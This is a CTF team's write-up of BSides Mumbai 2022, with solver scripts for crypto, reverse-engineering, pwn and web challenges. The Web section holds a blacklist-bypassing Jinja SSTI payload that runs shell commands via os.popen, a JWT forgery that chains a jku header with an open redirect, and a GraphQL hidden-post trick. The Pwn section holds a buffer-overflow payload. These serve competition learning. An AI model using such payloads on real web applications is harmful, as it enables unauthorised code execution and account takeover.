We played BSides Mumbai CTF 2022 last week and we got the third. This is the write-up on the challenges we solved.

Crypto

Poet Xor

Solved by Mystiz and LifeIsHard

XOR was a famous poet of 1931. Please help him recover his poem. Read his poem and you’ll get your reward in the the last line.

From the description, we can guess that the flag is in the last line. Therefore, the first 9 characters of the last line would be BSMumbai{.

From the source code, the 8-bytes key wee is re-used to encrypt the whole message (can see from the part with itertools.cycle).

wee = token_bytes(8)
cipher = ''

for secret in FLAG:
    enc = bytes([ a ^ b for a,b in zip(secret, cycle(wee)) ])
    cipher += enc.hex() + '\n'

We can recover the key by XOR("BSMumbai", first 8 bytes in the last line), and the recovered key is e3245defe0693bd5 in hex.

Lastly, we can use this key to decrypt the whole message.

from pwn import *
from itertools import cycle

enc_flag = []
for each in open("flag.enc", "rb").read().strip().split(b'\n'):
    chg_to_bytes = bytes.fromhex(each.decode())
    enc_flag.append(chg_to_bytes)
    
key = xor(b'BSMumbai', enc_flag[-1][0:8])

for each in enc_flag:
    dec = bytes([a^b for a,b in zip(each, cycle(key))])
    print(dec.decode())

Message

Two bits meet, each with its own
One zero, one one, they are shown
Together they combine, with a XOR
A new value is formed, never a bore.
BSMumbai{w0w_1t_1s_4_fl4g_1n_th3_3nd}

Big RSA

Solved by fsharp

In this challenge, the keygen function is vulnerable because d generated is too small (only 256 bits long).

def keygen(nbit):
    p, q = [ getPrime(nbit) for _ in range(2)]
    n = p * q
    phi = (p-1)*(q-1)
    d = getPrime(1 << 8)
    e = inverse(d, phi)
    key = RSA.construct((n,e,d))
    return key

By using Boneh-Durfee’s attack on small private key ($d < n^{0.292}$), we can effectively recover $d$ and thus decrypt the flag.

EggLamal

Solved by TWY

p = 115078219706537820316093419550008778668298868969654363080518222102779290700853879865170620916229166052063746242902440779410550578694707144210633296690382432644415742679112077458888533507037390392699530015820685944880948493006250673913564751534741449674725051026956477952614364976390284943915858542458481633021
A = 48890218165207275384445272760319358494993711787764906344148899636830485571816493761890964821064860895870242607424457731879309015681135499755293950202646357931855881875967656082276910385046805408731969845166675695997431519571773494534682366571816880592306777375053888105629800076931253497892185033268394556781
B = 115078219706537820316093419550008778668298868969654363080518222102779290700853879865170620916229166052063746242902440779410550578694707144210633296690382432644415742679112077458888533507037390392699530015820685944880948493006250673913564751534741449674725051026956477952614364976390284943915858542458481633020
c = 115078219706537820316093419550008778668298868969654363080518222102779290700853879865170620916229166052063746242902440779410550578694707144210633296690382432644415742679112077458888533507037390392699530015820685944327549289896366601363210341233716225794241970836585781027518436156355332169658951220307457142144

In this challenge, we are given $p$, $A := g^a\ \text{mod}\ p$, $B := g^b\ \text{mod}\ p$. $s$ is computed by $A^b\ \text{mod}\ p$ and we are also given $c := s \cdot m\ \text{mod}\ p$ for message $m$. Notably $B = p-1$.

That would say, $b$ could be $(p-1)/2$. Anyway, this would either make $s = 1$ if $a$ is even or $s = p-1$ otherwise.

Since $c$ is very close to $p$, it is likely that $s = p-1$. Therefore, $m = -c\ \text{mod}\ p$.

Flag: BSMumbai{ElGamal_Publickey_Cryptography}.

ECCSub

Solved by Mystiz and LifeIsHard

From the source code, every character k in the flag is encrypted with hex(ECC_encode(int(os.urandom(8).hex() + hex(k)[2:], 16)))

  • adding 8 random bytes at the front of the character (hex value, in string format)
  • convert it to integer (in base 16)
  • pass the integer to the ECC_encode function
  • convert the returning integer to hex string
def ECC_encode(x):
    y2 = (x**3 + a*x + b) % p
    return y2

We need to solve the modular function (p, a, b are given, need to find x), which can be solved with sage:

C = open('flag.enc', 'r').read().strip()
C = [int(char, base=16) for char in eval(C)]

for each in C:
    
    p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
    a = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc
    b = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
    
    P.<x> = PolynomialRing(GF(p))
    p = x^3 + a*x + b - each
    n = p.roots()[-1][0]
    
    print(chr(int(hex(n)[-2:],base=16)),end='')

Flag: BSMumbai{Substitution_Cipher_With_Elliptic_Curves?}.

ASD-SEA

Solved by Mystiz and fsharp

The signing algorithm defined for DSA is insecure, in the sense of the random has only two bytes of unknowns.

def sign(msg):
    h = SHA.new(msg).digest()
    n = bytes_to_long(h + os.urandom(2))

    assert 1 < n < key.q-1

    r = pow(key.g,n,key.p) % key.q
    s = inverse(n, key.q)*(bytes_to_long(h) + key.x*r) % key.q
    return s, r

In that way, we can brute force for $n$ using $r$ and retrieve the correct $n$. Afterwards, we can use $s$ to obtain the secret key $x$:

from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import *
from Crypto.PublicKey import DSA
from Crypto.Cipher import AES
from Crypto.Hash import SHA

s = 14183199055240594428827443533180344323710704440445050743687023631136
r = 5334730754297077906351686352081826499252324846119218024815564201902
ct = long_to_bytes(0x5bfb9c359d2986411837be748915ae0f5a4d5646b2740b8c4b712399a984dd60475dc1b72efb703bee0f87c256cde05e)

key = DSA.import_key(open("pubkey.pem", "rb").read())
m = open("msg.txt", "rb").read()
h = SHA.new(m).digest()

for i in range(2**16):
    n = bytes_to_long(h + i.to_bytes(2, "big"))
    if pow(key.g, n, key.p) % key.q == r:
        break

x = ((s * n - bytes_to_long(h)) * inverse(r, key.q)) % key.q
aes_key = pad(long_to_bytes(x), 16)
cipher = AES.new(aes_key, AES.MODE_ECB)
flag = unpad(cipher.decrypt(ct), 16).decode()
print(flag) # BSMumbai{DSA_msg_related_nonce_problem}

Misc

Boot2Root - 1

Solved by Kaiziron

https://github.com/Kaiziron/bsides_mumbai_ctf_2022/blob/main/boot2root1.md

Boot2Root - 2

Solved by Kaiziron

https://github.com/Kaiziron/bsides_mumbai_ctf_2022/blob/main/boot2root2.md

Pwn

warmup

Solved by cire meat pop

Obviously, vuln is vulnerable to buffer overflow attack. However, since win function stores the 1st and 2nd arguments on stack and compare if they are equal to some constant, we can’t directly call win to get flag. To bypass this, we overwrite the return address of vuln to call win+22 such that it only compares the constant with the values on stack which depends on rbp, and the value of rbp can be controlled via buffer overflow attack.

Solve

  1. Send random words to get the stack address
  2. Calculate the address for storing user input by minus a fix offset
  3. Crafting the payload: p64(user_input+0x20) + b'\xba\x00\xb0\x00\xbe\xba\xcc\x5e' + b'\x00'*0x10 + p64(user_input) + b'\x8e'
  4. Send the payload to trigger buffer overflow
  5. capture flag on screen

Web

Useless Forum

Solved by Ja5on

  1. Found admin user from the 2 initial posts
  2. Saw graphql query, use GraphQLmap to dump schema
  3. there are “getUser” and “getUserV2” mutations, the webapp use “getUserV2” only. Try to use “getUser” mutation to get Admin info and compare the two responses, identified a hidden post with postID “85a270fb-3520-452b-9532-dc198cea99bc”
  4. The type comment contain the type post, use mutation “makeComment” to make comment on the hidden post, and request for the post content to get the flag: {"query":"mutation{\n \t\tmakeComment(token:\"TOKEN\",text:\"abc\",postID:\"85a270fb-3520-452b-9532-dc198cea99bc\"){\n \t\t\tcommentID\n text\npost{content}\n \t\t\t}\n\t\t}"}

Complaint Box

Solved by Ja5on

  1. random fill in the form, got error message “Does email really need those?, anyway here are the blaclisted keywords ['{{', ‘}}’, ‘.’, ‘_’, ‘0’, ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’]”
  2. python server + blacklisted keywords ‘{{’, ‘}}’ -> SSTI in email field
  3. use {% %} bypass the ‘{{’, ‘}}’ filter, payload {% print(config) %} work
  4. use |attr to bypass “.”, use request.values for string subsitution. Final payload : name=ab&xx=__class__&xy=__base__&xz=__subclasses__&yy=__getitem__&yz=84&zz=load_module&email={%set+a=request["values"]["xx"]%}{%set+b=request["values"]["xy"]%}{%set+c=request["values"]["xz"]%}{%set+d=request["values"]["yy"]%}{%set+e=request["values"]["yz"]%}{%set+f=request["values"]["zz"]%}{%print([]|attr(a)|attr(b)|attr(c)()|attr(d)(e|int)|attr(f)("os")|attr("popen")("cat+flag*")|attr("read")())%}&subject=ab&message=ab

Bongo Cat

Solved by Hollow

  1. Check cookie, find JWT.
  2. Seeing “jku” in header -> You can specify the issuer yourself.
  3. Noting that the issuer must be from the same host, look for open redirect in the website.
  4. There is a endpoint /?redirect_uri=/dashbord. Asserting that it can redirect to external resources.
  5. Craft RSA keypair with openssl genrsa -out priv.pem 2048 and openssl rsa -pubout -in priv.pem -out pub.pem
  6. Dump n and e from the private key with RsaCtfTool python3 RsaCtfTool.py --key priv.pem --dump
  7. Convert n and e into base64-encoded standard with the following code: (Credit: Mystiz)
import base64
n = 
e = 
n = int.to_bytes(n, (n.bit_length()+7)//8, 'big')
e = int.to_bytes(e, (e.bit_length()+7)//8, 'big')
print(base64.urlsafe_b64encode(n))
print(base64.urlsafe_b64encode(e))
  1. Create a file named jwks.json and host it on your server.
{"kty":"RSA","e":"","use":"sig","alg":"RS256","n":""}
  1. Sign the JWT with data {"user":"admin"} and submit the cookie.
import jwt
import requests

private_key = open("priv.pem").read().strip()
public_key = open("pub.pem").read().strip()

encoded = jwt.encode({"user":"admin"},private_key,algorithm="RS256",
    headers={"alg":"RS256","typ":"JWT","jku":"http://34.133.45.223/?redirect_uri=https://asdfasdf/jwks.json"
    })

r = requests.get("http://34.133.45.223/dashboard", headers={"Cookie":f"token={encoded}"})

print(r.text)

P.S. Thanks for the work that Mystiz has checked that n is secure and is not vulnerable to common factorization attacks.

Reverse

Warmup

Solved by fsharp

The file is the emitted LLVM IR of a C program for checking a password. The program could be summarized as follows:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    char password[100];
    
    printf("Enter a string: ");
    scanf("%s", &password);
    
    if (strlen(password) != 39)
        exit(0);
    
    if ((int)password[28] == 55 && (int)password[30] == 110 && ... && (int)password[20] == 110)
        printf("The flag is correct!\n");
    else
        printf("The flag is incorrect.\n");
    
    return 0;
}

Save every line from the start of label 10 (10: ... ; preds = %0) to the blank line after the end of label 200 into a file called lines.txt. Then, run the following script to construct the flag:

with open("lines.txt", 'r') as f:
    lines = f.read().splitlines()

flag_tuples = []

for i in range(0, len(lines), 7):
    second_line = lines[i + 1]
    chr_pos = int(second_line[second_line.rindex(' ') + 1:])
    fifth_line = lines[i + 4]
    chr_val = int(fifth_line[fifth_line.rindex(' ') + 1:])
    flag_tuples.append((chr_pos, chr_val))

flag = ""
for (pos, val) in sorted(flag_tuples):
    flag += chr(val)

print(flag)

The flag is BSM{1_f0und_my531f_1n_4_f10471n9_h0u53}.

onionkopon

Solved by Mystiz and fsharp

We have a small C program that checks if the password length is a multiple of 8, then encodes each 8-byte block of the password. If these blocks all match 40 given bytes, the password’s correct.

The program logic is summarized as follows:

def rol(u, n):
    return ((u<<n) | (u>>(16-n))) & 0xffff

def process_block(pw_block):
    pw = [int.from_bytes(pw_block[i:i+2], 'little') for i in range(0, 8, 2)]
    xor_buffer = [0xDEAD, 0xBEEF, 0xCAFE, 0xBABE]
    for _ in range(16):
        for i in range(4):
            pw[(i+1) % 4] = ((pw[i] ^ xor_buffer[i]) + pw[(i+1) % 4]) & 0xffff
            pw[(i+1) % 4] = rol(pw[(i+1) % 4], 12)

    return b''.join([int.to_bytes(p, 2, 'little') for p in pw])

correct_pw = b"..."
encoded = b""

assert len(correct_pw) % 8 == 0

for i in range(0, 40, 8):
    encoded += process_block(correct_pw[i : i + 8])

assert encoded == bytes.fromhex("100baacdddd46faa1c0fe0abcbf8fc45e607ac4bedcd1cef29c73102bb971afd6a34a94c7a90ab5c")

We write a function to invert the operations done onto each encoded block to find the flag:

def rol(u, n):
    return ((u<<n) | (u>>(16-n))) & 0xffff

def inverse_process_block(pw_block):
    pw = [int.from_bytes(pw_block[i:i+2], 'little') for i in range(0, 8, 2)]
    xor_buffer = [0xDEAD, 0xBEEF, 0xCAFE, 0xBABE]
    for _ in range(16):
        for i in [3, 2, 1, 0]:
            pw[(i+1) % 4] = rol(pw[(i+1) % 4], 4)
            pw[(i+1) % 4] = (pw[(i+1) % 4] - (pw[i] ^ xor_buffer[i])) & 0xffff
    return b''.join([int.to_bytes(p, 2, 'little') for p in pw]).decode()

encoded = bytes.fromhex("100baacdddd46faa1c0fe0abcbf8fc45e607ac4bedcd1cef29c73102bb971afd6a34a94c7a90ab5c")
flag = ""

for i in range(0, len(encoded), 8):
    flag += inverse_process_block(encoded[i : i + 8])

print(f"BSM{{{flag}}}")

The flag is BSM{__4dv32517y_15_7h3_f1257_p47h_70_72u7h__}.

The Last One

Solved by TWY, grhkm and fsharp

The file is a PYC file from Python 3.11. To the best of our knowledge, the current programs that offer functionality for disassembling PYC files or turning them into an equivalent Python script (e.g. decompyle3, uncompyle6, pycdc, pydumpck) do not yet support this version of Python, which was only released around 45 days before the CTF started. So, we instead chose to disassemble the file using Python 3.11.0 directly:

import marshal, dis

f = open("rev5", "rb")
_ = f.seek(16)
code = marshal.load(f)
f.close()

print(dis.dis(code))
print(dis.show_code(code))

After reading through the disassembly, the program logic is basically:

import sys

ror = lambda val, r_bits, max_bits: ((val & (2 ** max_bits - 1)) >> (r_bits % max_bits)) | ((val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1)))
qq = (498447548, 3732380986, 1488213715, 2972884408, 3671789619, 1370551614, 1547410907, 3107329395, 299046427, 2038167384, 974344249, 1531985406, 2620489075, 301338675, 1367072094, 1010523443, 1364594739, 1362851550, 3157990840, 3671465363, 4054904883, 1369151198, 3158031800, 3671465299, 833682835, 4049313075, 1369141299, 1362867902, 3694861656, 985013651, 4048590195, 295403003, 2575023507, 4059258195, 832296243, 1364966747, 960197747)

def check2(r):
    r1 = (r & 255) ^ 254
    r2 = ((r >> 8) & 255) ^ 186
    r3 = ((r >> 16) & 255) ^ 202
    r4 = ((r >> 24) & 255) ^ 190
    return (r4 << 24) | (r3 << 16) | (r2 << 8) | r1

def check(s):
    l = []
    for i in range(len(s) - 3):
        r = int.from_bytes(s[i:i + 4], 'little') ^ 3735928559
        n = check2(r)
        l.append(ror(r, 19, 32))
    return l

str = input('Enter a string: ').encode()

if len(str) != 40:
    sys.exit()

m = check(str)

for i, j in zip(m, qq):
    if i != j:
        print('dasnot it mofo')
        sys.exit()

print('GGWP bro')

We wrote the following program to get the flag:

ror = lambda val, r_bits, max_bits: ((val & (2 ** max_bits - 1)) >> (r_bits % max_bits)) | ((val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1)))
qq = (498447548, 3732380986, 1488213715, 2972884408, 3671789619, 1370551614, 1547410907, 3107329395, 299046427, 2038167384, 974344249, 1531985406, 2620489075, 301338675, 1367072094, 1010523443, 1364594739, 1362851550, 3157990840, 3671465363, 4054904883, 1369151198, 3158031800, 3671465299, 833682835, 4049313075, 1369141299, 1362867902, 3694861656, 985013651, 4048590195, 295403003, 2575023507, 4059258195, 832296243, 1364966747, 960197747)

def check2(r):
    r1 = (r & 255) ^ 254
    r2 = ((r >> 8) & 255) ^ 186
    r3 = ((r >> 16) & 255) ^ 202
    r4 = ((r >> 24) & 255) ^ 190
    return (r4 << 24) | (r3 << 16) | (r2 << 8) | r1

def check_rev(r):
    return bytes.fromhex(hex(ror(r, 32 - 19, 32) ^ 3735928559)[2:].zfill(8))[::-1]

qq_rev = [check_rev(x) for x in qq]
print((b"".join([a[0:1] for a in qq_rev[:-1]]) + qq_rev[-1]).decode())

The flag is BSM{7h3_w0und_15_47_h32_h3427_k42u124w4}.

Piano

Solved by fsharp

We’re given a Rust binary that checks if the entered password is 65 characters long, then subjects each character in the password to a series of bit shifts and XORs. The password’s correct if these characters all match 65 given bytes. Given how safe Rust is by default, only a very small portion of the disassembled program is relevant, and the rest is mostly for dealing with errors like integer overflows.

The program logic is roughly as follows in Python:

import sys

pw = bytearray(input("Enter something:\n").encode())
encoded = bytes.fromhex("66cf77b25360f45e8ba8426aa77217d7fce8f2c4e427120ccf5d857a68d7b5c8570f59588d14896abea468dbf3d0a00fe03b8ba9ca8ddebd138338e0624ff8109a")

if len(pw) != 65:
    print("Hmmm...")
    sys.exit()

for i in range(len(pw)):
    c = pw[i]
    shift_amount = i % 7
    if (i % 2) == 0:
        shifted = ((c >> shift_amount) | (c << (8 - shift_amount))) % 256
        shifted ^= 0x24
    else:
        shifted = ((c << shift_amount) | (c >> (8 - shift_amount))) % 256
        shifted ^= 0x69
    pw[i] = shifted

if pw == encoded:
    print("Good Job ^^")

Rather than going through the tedium of undoing the XORs and bit shifts, a small Python program is written to bruteforce each character as follows:

encoded = bytes.fromhex("66cf77b25360f45e8ba8426aa77217d7fce8f2c4e427120ccf5d857a68d7b5c8570f59588d14896abea468dbf3d0a00fe03b8ba9ca8ddebd138338e0624ff8109a")
flag = ""

for i in range(len(encoded)):
    for c in range(32, 127):
        shift_amount = i % 7
        if (i % 2) == 0:
            shifted = ((c >> shift_amount) | (c << (8 - shift_amount))) % 256
            shifted ^= 0x24
        else:
            shifted = ((c << shift_amount) | (c >> (8 - shift_amount))) % 256
            shifted ^= 0x69
        if shifted == encoded[i]:
            flag += chr(c)
            break

print(flag)

The flag is BSM{wH47_p30pl3_c0mm0NlY_C4LL_F473_1S_m0S7LY_7H31R_0wN_S7up1d17y}.